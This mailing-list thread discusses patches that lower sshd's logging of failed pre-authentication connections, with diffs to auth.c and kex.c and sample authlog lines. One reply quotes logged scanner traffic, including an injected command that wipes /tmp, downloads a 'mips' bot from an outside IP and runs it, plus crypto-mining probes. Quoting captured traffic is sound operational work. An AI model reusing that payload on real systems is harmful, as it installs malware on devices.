Re: sshd: reduce preauth log verbosity
On Fri, 18 Aug 2023, Tobias Heider wrote:
> Hi,
>
> I was looking at my authlog today and as expected on a server exposed on the
> public internet it is filled with random scanners and brute force attacks.
> One thing I noticed is that there is a lot of information we log multiple
> times for a each failed connection.
>
> Some examples below:
>
> sshd[6216]: error: kex_exchange_identification: banner line contains invalid
> characters
> sshd[6216]: banner exchange: Connection from xx.97.73.149 port 64744: invalid
> format
> sshd[68416]: error: kex_exchange_identification: banner line contains invalid
> characters
> sshd[68416]: banner exchange: Connection from xx.97.73.149 port 63955:
> invalid format
>
> There are a few more parsing errors like this that result in a print of the
> exact
> issue error followed by 'goto invalid' which causes the more general "invalid
> format"
> message. I think "invalid format" is enough information in most cases.
>
> sshd[50752]: error: kex_exchange_identification: Connection closed by remote
> host
> sshd[50752]: Connection closed by xx.94.81.243 port 61000
>
> Same as above, the kex_exchange_identification doesn't really add anything.
>
> sshd[51579]: Invalid user tom from xx.134.191.142 port 35480
> sshd[51579]: Received disconnect from xx.134.191.142 port 35480:11: Bye Bye
> [preauth]
> sshd[51579]: Disconnected from invalid user tom xx.134.191.142 port 35480
> [preauth]
> sshd[94857]: Invalid user long from xx.97.173.1 port 51140
> sshd[94857]: Received disconnect from xx.97.173.1 port 51140:11: Bye Bye
> [preauth]
> sshd[94857]: Disconnected from invalid user long xx.97.173.1 port 51140
> [preauth]
>
> Here the "Disconnected" line contains all the info from "Invalid user" line.
> Those invalid user messages make up the largest part of my log file,
> so deduplicating them makes a huge difference.
>
> Below is a diff to make some of those log to debug if the same information
> is also logged elsewhere.
> Is there some general interest in diffs to clean this up a bit?
ok to the kex.c ones, but no to the auth.c one. There are other exit
paths that sshd can take that might lose the "Invalid user" message and
then that information would be lost.
> Index: auth.c
> ===
> RCS file: /cvs/src/usr.bin/ssh/auth.c,v
> retrieving revision 1.160
> diff -u -p -r1.160 auth.c
> --- auth.c5 Mar 2023 05:34:09 - 1.160
> +++ auth.c18 Aug 2023 14:22:55 -
> @@ -431,7 +431,7 @@ getpwnamallow(struct ssh *ssh, const cha
>
> pw = getpwnam(user);
> if (pw == NULL) {
> - logit("Invalid user %.100s from %.100s port %d",
> + debug("Invalid user %.100s from %.100s port %d",
> user, ssh_remote_ipaddr(ssh), ssh_remote_port(ssh));
> return (NULL);
> }
> Index: kex.c
> ===
> RCS file: /cvs/src/usr.bin/ssh/kex.c,v
> retrieving revision 1.179
> diff -u -p -r1.179 kex.c
> --- kex.c 18 Aug 2023 01:37:41 - 1.179
> +++ kex.c 18 Aug 2023 14:22:55 -
> @@ -1336,7 +1336,7 @@ kex_exchange_identification(struct ssh *
> len = atomicio(read, ssh_packet_get_connection_in(ssh),
> , 1);
> if (len != 1 && errno == EPIPE) {
> - error_f("Connection closed by remote host");
> + debug_f("Connection closed by remote host");
> r = SSH_ERR_CONN_CLOSED;
> goto out;
> } else if (len != 1) {
> @@ -1352,7 +1352,7 @@ kex_exchange_identification(struct ssh *
> if (c == '\n')
> break;
> if (c == '\0' || expect_nl) {
> - error_f("banner line contains invalid "
> + debug_f("banner line contains invalid "
> "characters");
> goto invalid;
> }
> @@ -1362,7 +1362,7 @@ kex_exchange_identification(struct ssh *
> goto out;
> }
> if (sshbuf_len(peer_version) > SSH_MAX_BANNER_LEN) {
> - error_f("banner line too long");
> + debug_f("banner line too long");
> goto invalid;
> }
> }
> @@ -1378,7 +1378,7 @@ kex_exchange_identification(struct ssh *
> }
> /* Do not accept lines before the SSH ident from a client */
> if (ssh->kex->server) {
> - error_f("client sent invalid protocol identifier "
> + debug_f("client sent invalid protocol identifier "
> "\"%.256s\"",
Re: sshd: reduce preauth log verbosity
On Fri, Aug 18, 2023 at 06:43:50PM +0100, Stuart Henderson wrote:
> On 2023/08/18 17:39, Tobias Heider wrote:
> > Hi,
> >
> > I was looking at my authlog today and as expected on a server exposed on the
> > public internet it is filled with random scanners and brute force attacks.
> > One thing I noticed is that there is a lot of information we log multiple
> > times for a each failed connection.
> >
> > Some examples below:
> >
> > sshd[6216]: error: kex_exchange_identification: banner line contains
> > invalid characters
> > sshd[6216]: banner exchange: Connection from xx.97.73.149 port 64744:
> > invalid format
> > sshd[68416]: error: kex_exchange_identification: banner line contains
> > invalid characters
> > sshd[68416]: banner exchange: Connection from xx.97.73.149 port 63955:
> > invalid format
> >
> > There are a few more parsing errors like this that result in a print of the
> > exact
> > issue error followed by 'goto invalid' which causes the more general
> > "invalid format"
> > message. I think "invalid format" is enough information in most cases.
> >
> > sshd[50752]: error: kex_exchange_identification: Connection closed by
> > remote host
> > sshd[50752]: Connection closed by xx.94.81.243 port 61000
> >
> > Same as above, the kex_exchange_identification doesn't really add anything.
> >
> > sshd[51579]: Invalid user tom from xx.134.191.142 port 35480
> > sshd[51579]: Received disconnect from xx.134.191.142 port 35480:11: Bye Bye
> > [preauth]
> > sshd[51579]: Disconnected from invalid user tom xx.134.191.142 port 35480
> > [preauth]
> > sshd[94857]: Invalid user long from xx.97.173.1 port 51140
> > sshd[94857]: Received disconnect from xx.97.173.1 port 51140:11: Bye Bye
> > [preauth]
> > sshd[94857]: Disconnected from invalid user long xx.97.173.1 port 51140
> > [preauth]
> >
> > Here the "Disconnected" line contains all the info from "Invalid user" line.
> > Those invalid user messages make up the largest part of my log file,
> > so deduplicating them makes a huge difference.
> >
> > Below is a diff to make some of those log to debug if the same information
> > is also logged elsewhere.
> > Is there some general interest in diffs to clean this up a bit?
>
> There are some messages which don't show up in the "Disconnected from"
> line which may possibly give some clues about the source of connections,
> so might be of interest. If someone does want to log them, going all
> the way to debug is going to result in a *lot* more useless lines being
> logged.
>
> So if they are getting squelched I think they would better under verbose
> rather than debug.
Right, verbose is probably a better choice.
>
> examples...
>
> sshd[2722]: Connection from 20.168.51.56 port 54850 on 195.95.187.26 port 22
> rdomain "0"
> sshd[2722]: error: Received disconnect from 20.168.51.56 port 54850:3:
> com.jcraft.jsch.JSchException: Auth fail [preauth]
> sshd[2722]: Disconnected from authenticating user root 20.168.51.56 port
> 54850 [preauth]
>
> sshd[50247]: Connection from 218.92.0.22 port 36077 on 195.95.187.184 port 22
> rdomain "0"
> sshd[50247]: Received disconnect from 218.92.0.22 port 36077:11: [preauth]
> sshd[50247]: Disconnected from authenticating user root 218.92.0.22 port
> 36077 [preauth]
>
> sshd[12117]: Connection from 222.71.84.234 port 53262 on 195.95.187.26 port
> 22 rdomain "0"
> sshd[12117]: Invalid user A@0599343813A@0599343813A@0599343813 from
> 222.71.84.234 port 53262
> sshd[12117]: Received disconnect from 222.71.84.234 port 53262:11: Normal
> Shutdown, Thank you for playing [preauth]
> sshd[12117]: Disconnected from invalid user
> A@0599343813A@0599343813A@0599343813 222.71.84.234 port 53262 [preauth]
>
> sshd[83269]: Connection from 143.244.50.173 port 46078 on 195.95.187.28 port
> 22 rdomain "0"
> sshd[83269]: Invalid user admin from 143.244.50.173 port 46078
> sshd[83269]: Received disconnect from 143.244.50.173 port 46078:11: end
> [preauth]
> sshd[83269]: Disconnected from invalid user admin 143.244.50.173 port 46078
> [preauth]
>
> and I have all sorts in "kex_exchange_identification: client sent
> invalid protocol identifier"
That one should already be included with my diff. That's one of those goto
invalid cases.
Updated diff with s/debug/verbose/ below.
Index: auth.c
===
RCS file: /cvs/src/usr.bin/ssh/auth.c,v
retrieving revision 1.160
diff -u -p -r1.160 auth.c
--- auth.c 5 Mar 2023 05:34:09 - 1.160
+++ auth.c 18 Aug 2023 18:01:49 -
@@ -431,7 +431,7 @@ getpwnamallow(struct ssh *ssh, const cha
pw = getpwnam(user);
if (pw == NULL) {
- logit("Invalid user %.100s from %.100s port %d",
+ verbose("Invalid user %.100s from %.100s port %d",
user, ssh_remote_ipaddr(ssh), ssh_remote_port(ssh));
return (NULL);
}
Index: kex.c
Re: sshd: reduce preauth log verbosity
On 2023/08/18 17:39, Tobias Heider wrote:
> Hi,
>
> I was looking at my authlog today and as expected on a server exposed on the
> public internet it is filled with random scanners and brute force attacks.
> One thing I noticed is that there is a lot of information we log multiple
> times for a each failed connection.
>
> Some examples below:
>
> sshd[6216]: error: kex_exchange_identification: banner line contains invalid
> characters
> sshd[6216]: banner exchange: Connection from xx.97.73.149 port 64744: invalid
> format
> sshd[68416]: error: kex_exchange_identification: banner line contains invalid
> characters
> sshd[68416]: banner exchange: Connection from xx.97.73.149 port 63955:
> invalid format
>
> There are a few more parsing errors like this that result in a print of the
> exact
> issue error followed by 'goto invalid' which causes the more general "invalid
> format"
> message. I think "invalid format" is enough information in most cases.
>
> sshd[50752]: error: kex_exchange_identification: Connection closed by remote
> host
> sshd[50752]: Connection closed by xx.94.81.243 port 61000
>
> Same as above, the kex_exchange_identification doesn't really add anything.
>
> sshd[51579]: Invalid user tom from xx.134.191.142 port 35480
> sshd[51579]: Received disconnect from xx.134.191.142 port 35480:11: Bye Bye
> [preauth]
> sshd[51579]: Disconnected from invalid user tom xx.134.191.142 port 35480
> [preauth]
> sshd[94857]: Invalid user long from xx.97.173.1 port 51140
> sshd[94857]: Received disconnect from xx.97.173.1 port 51140:11: Bye Bye
> [preauth]
> sshd[94857]: Disconnected from invalid user long xx.97.173.1 port 51140
> [preauth]
>
> Here the "Disconnected" line contains all the info from "Invalid user" line.
> Those invalid user messages make up the largest part of my log file,
> so deduplicating them makes a huge difference.
>
> Below is a diff to make some of those log to debug if the same information
> is also logged elsewhere.
> Is there some general interest in diffs to clean this up a bit?
There are some messages which don't show up in the "Disconnected from"
line which may possibly give some clues about the source of connections,
so might be of interest. If someone does want to log them, going all
the way to debug is going to result in a *lot* more useless lines being
logged.
So if they are getting squelched I think they would better under verbose
rather than debug.
examples...
sshd[2722]: Connection from 20.168.51.56 port 54850 on 195.95.187.26 port 22
rdomain "0"
sshd[2722]: error: Received disconnect from 20.168.51.56 port 54850:3:
com.jcraft.jsch.JSchException: Auth fail [preauth]
sshd[2722]: Disconnected from authenticating user root 20.168.51.56 port 54850
[preauth]
sshd[50247]: Connection from 218.92.0.22 port 36077 on 195.95.187.184 port 22
rdomain "0"
sshd[50247]: Received disconnect from 218.92.0.22 port 36077:11: [preauth]
sshd[50247]: Disconnected from authenticating user root 218.92.0.22 port 36077
[preauth]
sshd[12117]: Connection from 222.71.84.234 port 53262 on 195.95.187.26 port 22
rdomain "0"
sshd[12117]: Invalid user A@0599343813A@0599343813A@0599343813 from
222.71.84.234 port 53262
sshd[12117]: Received disconnect from 222.71.84.234 port 53262:11: Normal
Shutdown, Thank you for playing [preauth]
sshd[12117]: Disconnected from invalid user
A@0599343813A@0599343813A@0599343813 222.71.84.234 port 53262 [preauth]
sshd[83269]: Connection from 143.244.50.173 port 46078 on 195.95.187.28 port 22
rdomain "0"
sshd[83269]: Invalid user admin from 143.244.50.173 port 46078
sshd[83269]: Received disconnect from 143.244.50.173 port 46078:11: end
[preauth]
sshd[83269]: Disconnected from invalid user admin 143.244.50.173 port 46078
[preauth]
and I have all sorts in "kex_exchange_identification: client sent
invalid protocol identifier"
1 "CONNECT api.ipify.org:443 HTTP/1.1"
1 "GET / HTTP/1.0"
1 "GET /.git/HEAD HTTP/1.1"
1 "GET /0bef HTTP/1.0"
1 "GET /CSS/Miniweb.css HTTP/1.1"
1 "GET /HNAP1 HTTP/1.1"
1 "GET /Portal.htm HTTP/1.1"
1 "GET /__Additional HTTP/1.1"
1 "GET
/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://146.19.191.108/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;;
1 "GET /evox/about HTTP/1.1"
1 "GET /jPOS HTTP/1.1"
1 "GET /manager/html HTTP/1.1"
1 "GET /manager/text/list HTTP/1.1"
1 "GET /start.cfm HTTP/1.1"
1 "HEAD / HTTP/1.1"
1 "POST /sdk HTTP/1.1"
1 "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1"
1 "\376^H\001adminSSH-2.0-PuTTY_Release_0.78"
1 "{"id": 1, "method": "mining.subscribe", "params": ["MinerName/1.0.0",
"EthereumStratum/1.0.0"]}"
1 "{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.5.1"]}"
1
sshd: reduce preauth log verbosity
Hi,
I was looking at my authlog today and as expected on a server exposed on the
public internet it is filled with random scanners and brute force attacks.
One thing I noticed is that there is a lot of information we log multiple
times for a each failed connection.
Some examples below:
sshd[6216]: error: kex_exchange_identification: banner line contains invalid
characters
sshd[6216]: banner exchange: Connection from xx.97.73.149 port 64744: invalid
format
sshd[68416]: error: kex_exchange_identification: banner line contains invalid
characters
sshd[68416]: banner exchange: Connection from xx.97.73.149 port 63955: invalid
format
There are a few more parsing errors like this that result in a print of the
exact
issue error followed by 'goto invalid' which causes the more general "invalid
format"
message. I think "invalid format" is enough information in most cases.
sshd[50752]: error: kex_exchange_identification: Connection closed by remote
host
sshd[50752]: Connection closed by xx.94.81.243 port 61000
Same as above, the kex_exchange_identification doesn't really add anything.
sshd[51579]: Invalid user tom from xx.134.191.142 port 35480
sshd[51579]: Received disconnect from xx.134.191.142 port 35480:11: Bye Bye
[preauth]
sshd[51579]: Disconnected from invalid user tom xx.134.191.142 port 35480
[preauth]
sshd[94857]: Invalid user long from xx.97.173.1 port 51140
sshd[94857]: Received disconnect from xx.97.173.1 port 51140:11: Bye Bye
[preauth]
sshd[94857]: Disconnected from invalid user long xx.97.173.1 port 51140
[preauth]
Here the "Disconnected" line contains all the info from "Invalid user" line.
Those invalid user messages make up the largest part of my log file,
so deduplicating them makes a huge difference.
Below is a diff to make some of those log to debug if the same information
is also logged elsewhere.
Is there some general interest in diffs to clean this up a bit?
Index: auth.c
===
RCS file: /cvs/src/usr.bin/ssh/auth.c,v
retrieving revision 1.160
diff -u -p -r1.160 auth.c
--- auth.c 5 Mar 2023 05:34:09 - 1.160
+++ auth.c 18 Aug 2023 14:22:55 -
@@ -431,7 +431,7 @@ getpwnamallow(struct ssh *ssh, const cha
pw = getpwnam(user);
if (pw == NULL) {
- logit("Invalid user %.100s from %.100s port %d",
+ debug("Invalid user %.100s from %.100s port %d",
user, ssh_remote_ipaddr(ssh), ssh_remote_port(ssh));
return (NULL);
}
Index: kex.c
===
RCS file: /cvs/src/usr.bin/ssh/kex.c,v
retrieving revision 1.179
diff -u -p -r1.179 kex.c
--- kex.c 18 Aug 2023 01:37:41 - 1.179
+++ kex.c 18 Aug 2023 14:22:55 -
@@ -1336,7 +1336,7 @@ kex_exchange_identification(struct ssh *
len = atomicio(read, ssh_packet_get_connection_in(ssh),
, 1);
if (len != 1 && errno == EPIPE) {
- error_f("Connection closed by remote host");
+ debug_f("Connection closed by remote host");
r = SSH_ERR_CONN_CLOSED;
goto out;
} else if (len != 1) {
@@ -1352,7 +1352,7 @@ kex_exchange_identification(struct ssh *
if (c == '\n')
break;
if (c == '\0' || expect_nl) {
- error_f("banner line contains invalid "
+ debug_f("banner line contains invalid "
"characters");
goto invalid;
}
@@ -1362,7 +1362,7 @@ kex_exchange_identification(struct ssh *
goto out;
}
if (sshbuf_len(peer_version) > SSH_MAX_BANNER_LEN) {
- error_f("banner line too long");
+ debug_f("banner line too long");
goto invalid;
}
}
@@ -1378,7 +1378,7 @@ kex_exchange_identification(struct ssh *
}
/* Do not accept lines before the SSH ident from a client */
if (ssh->kex->server) {
- error_f("client sent invalid protocol identifier "
+ debug_f("client sent invalid protocol identifier "
"\"%.256s\"", cp);
free(cp);
goto invalid;
